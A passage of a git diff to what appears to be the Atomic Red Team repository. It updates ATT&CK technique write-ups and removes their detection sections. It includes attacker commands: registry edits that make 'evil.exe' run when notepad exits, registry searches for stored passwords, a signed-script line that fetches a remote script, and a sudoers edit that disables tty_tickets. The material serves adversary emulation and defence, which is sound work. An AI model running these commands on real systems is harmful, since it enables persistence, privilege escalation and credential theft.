the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. -Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. - -Platforms: Windows - -Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs +Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) -Permissions Required: Administrator, SYSTEM
+Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits) ## Atomic Tests diff --git a/atomics/T1180/T1180.md b/atomics/T1180/T1180.md index 9dc25321a9..ea96d2f4a3 100644 --- a/atomics/T1180/T1180.md +++ b/atomics/T1180/T1180.md @@ -2,24 +2,12 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1180)
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\Windows\System32\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop\) and could be manipulated to achieve persistence: -*SCRNSAVE.exe - set to malicious PE path -*ScreenSaveActive - set to '1' to enable the screensaver -*ScreenSaverIsSecure - set to '0' to not require a password to unlock -*ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed +* SCRNSAVE.exe - set to malicious PE path +* ScreenSaveActive - set to '1' to enable the screensaver +* ScreenSaverIsSecure - set to '0' to not require a password to unlock +* ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed -Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) - -Detection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. - -Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated. - -Platforms: Windows - -Data Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring - -Permissions Required: User - -Contributors: Bartosz Jerzman
+Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) ## Atomic Tests diff --git a/atomics/T1183/T1183.md b/atomics/T1183/T1183.md index 6ca7caa33d..145d639978 100644 --- a/atomics/T1183/T1183.md +++ b/atomics/T1183/T1183.md @@ -1,22 +1,20 @@ # T1183 - Image File Execution Options Injection ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1183) -
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) +
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) -IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/ and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) +IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) -Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. +IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) -Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) +An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) -Detection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) +* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 +* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 +* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" -Monitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) +Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. -Platforms: Windows - -Data Sources: Process Monitoring, Windows Registry, Windows event logs - -Permissions Required: Administrator, SYSTEM
+Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
## Atomic Tests diff --git a/atomics/T1191/T1191.md b/atomics/T1191/T1191.md index dea95a6043..fa2ee84e58 100644 --- a/atomics/T1191/T1191.md +++ b/atomics/T1191/T1191.md @@ -2,23 +2,9 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1191)
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. -Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. +Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application. -CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) - -Detection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. - -Platforms: Windows - -Data Sources: Process Monitoring, Process command-line parameters - -Defense Bypassed: Application whitelisting, Anti-virus - -Permissions Required: User - -Remote Support: No - -Contributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
+CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ## Atomic Tests diff --git a/atomics/T1193/T1193.md b/atomics/T1193/T1193.md index bce217f109..bd02af64bc 100644 --- a/atomics/T1193/T1193.md +++ b/atomics/T1193/T1193.md @@ -1,16 +1,8 @@ # T1193 - Spearphishing Attachment ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1193) -
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. +
Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. -There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. - -Detection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. - -Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting. - -Platforms: Linux, Windows, macOS - -Data Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway
+There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
## Atomic Tests diff --git a/atomics/T1197/T1197.md b/atomics/T1197/T1197.md index 29bf7812a1..6e7f8bc319 100644 --- a/atomics/T1197/T1197.md +++ b/atomics/T1197/T1197.md @@ -1,28 +1,12 @@ # T1197 - BITS Jobs ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1197) -
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. +
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. -The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin +The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITS)Admin -Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) +Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) -BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016) - -Detection: BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS) - -Monitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016) - -Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) - -Platforms: Windows - -Data Sources: API monitoring, Packet capture, Windows event logs - -Defense Bypassed: Firewall, Host forensic analysis - -Permissions Required: User, Administrator, SYSTEM - -Contributors: Ricardo Dias, Red Canary
+BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)
## Atomic Tests diff --git a/atomics/T1201/T1201.md b/atomics/T1201/T1201.md index a0c6513d87..900c26f279 100644 --- a/atomics/T1201/T1201.md +++ b/atomics/T1201/T1201.md @@ -1,29 +1,19 @@ # T1201 - Password Policy Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1201) -
Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). +
Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) -===Windows=== +### Windows * net accounts * net accounts /domain -===Linux=== +### Linux * chage -l * cat /etc/pam.d/common-password -===macOS=== -* pwpolicy getaccountpolicies - -Detection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. - -Platforms: Linux, Windows, macOS - -Data Sources: Process command-line parameters, Process Monitoring - -Permissions Required: User - -Contributors: Sudhanshu Chauhan, @Sudhanshu_C
+### macOS +* pwpolicy getaccountpolicies
## Atomic Tests diff --git a/atomics/T1202/T1202.md b/atomics/T1202/T1202.md index ee3f9a9e72..8fcab15c19 100644 --- a/atomics/T1202/T1202.md +++ b/atomics/T1202/T1202.md @@ -1,20 +1,8 @@ # T1202 - Indirect Command Execution ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1202) -
Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) +
Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) -Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd. - -Detection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017) - -Platforms: Windows - -Data Sources: Process Monitoring, Process command-line parameters, Windows event logs - -Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path - -Permissions Required: User - -Contributors: Matthew Demaske, Adaptforward
+Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106).
## Atomic Tests diff --git a/atomics/T1206/T1206.md b/atomics/T1206/T1206.md index 5629764960..7f78c6073e 100644 --- a/atomics/T1206/T1206.md +++ b/atomics/T1206/T1206.md @@ -1,20 +1,10 @@ # T1206 - Sudo Caching ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1206) -
The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments" (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). +
The sudo command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). -Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Combined with tty_tickets being disabled, means adversaries can do this from any tty for that user. +Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. -The OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default. - -Detection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process command-line parameters - -Effective Permissions: root - -Permissions Required: User
+The OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.
## Atomic Tests diff --git a/atomics/T1207/T1207.md b/atomics/T1207/T1207.md index 3cb2724e34..574248f224 100644 --- a/atomics/T1207/T1207.md +++ b/atomics/T1207/T1207.md @@ -4,25 +4,7 @@ Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) -This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) - -Detection: Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) - -Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) - -Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018) - -Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete. - -Platforms: Windows - -Data Sources: API monitoring, Authentication logs, Network protocol analysis, Packet capture - -Defense Bypassed: Log analysis - -Permissions Required: Administrator - -Contributors: Vincent Le Toux +This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) ## Atomic Tests diff --git a/atomics/T1214/T1214.md b/atomics/T1214/T1214.md index 1af2bf1db8..5079e63212 100644 --- a/atomics/T1214/T1214.md +++ b/atomics/T1214/T1214.md @@ -3,20 +3,9 @@
The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) -*Local Machine Hive: reg query HKLM /f password /t REG_SZ /s -*Current User Hive: reg query HKCU /f password /t REG_SZ /s -Detection: Monitor processes for applications that can be used to query the Registry, such as Reg, and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives. - -Platforms: Windows - -Data Sources: Windows Registry, Process command-line parameters, Process Monitoring - -Permissions Required: User, Administrator - -System Requirements: Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys. - -Contributors: Sudhanshu Chauhan, @Sudhanshu_C
+* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s +* Current User Hive: reg query HKCU /f password /t REG_SZ /s ## Atomic Tests diff --git a/atomics/T1216/T1216.md b/atomics/T1216/T1216.md index 34bcaaea6f..77f15e5d95 100644 --- a/atomics/T1216/T1216.md +++ b/atomics/T1216/T1216.md @@ -2,23 +2,9 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1216)
Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. -PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png +PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png -There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) - -Detection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters - -Defense Bypassed: Application whitelisting, Digital Certificate Validation - -Permissions Required: User - -Remote Support: No - -Contributors: Praetorian
+There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) ## Atomic Tests diff --git a/atomics/T1217/T1217.md b/atomics/T1217/T1217.md index 8aabfaff68..32c8e9aae1 100644 --- a/atomics/T1217/T1217.md +++ b/atomics/T1217/T1217.md @@ -2,21 +2,9 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1217)
Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. -Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser. +Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser. -Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases. - -Detection: Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell. - -System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. - -Platforms: Linux, Windows, macOS - -Data Sources: API monitoring, File monitoring, Process command-line parameters, Process Monitoring - -Permissions Required: User - -Contributors: Mike Kemmerer
+Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases. ## Atomic Tests diff --git a/atomics/index.md b/atomics/index.md index c969edfb7a..9985ede8e9 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -10,6 +10,8 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] +- [T1098 Account Manipulation](./T1098/T1098.md) + - Atomic Test #1: Admin Account Manipulate [windows] - T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] @@ -94,7 +96,7 @@ - Atomic Test #1: Re-Opened Applications [macos] - Atomic Test #2: Re-Opened Applications [macos] - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- [T1060 Registry Run Keys / Start Folder](./T1060/T1060.md) +- [T1060 Registry Run Keys / Startup Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] - Atomic Test #2: Reg Key RunOnce [windows] - Atomic Test #3: PowerShell Registry RunOnce [windows] @@ -108,6 +110,8 @@ - Atomic Test #1: Set Arbitrary Binary as Screensaver [windows] - T1101 Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, 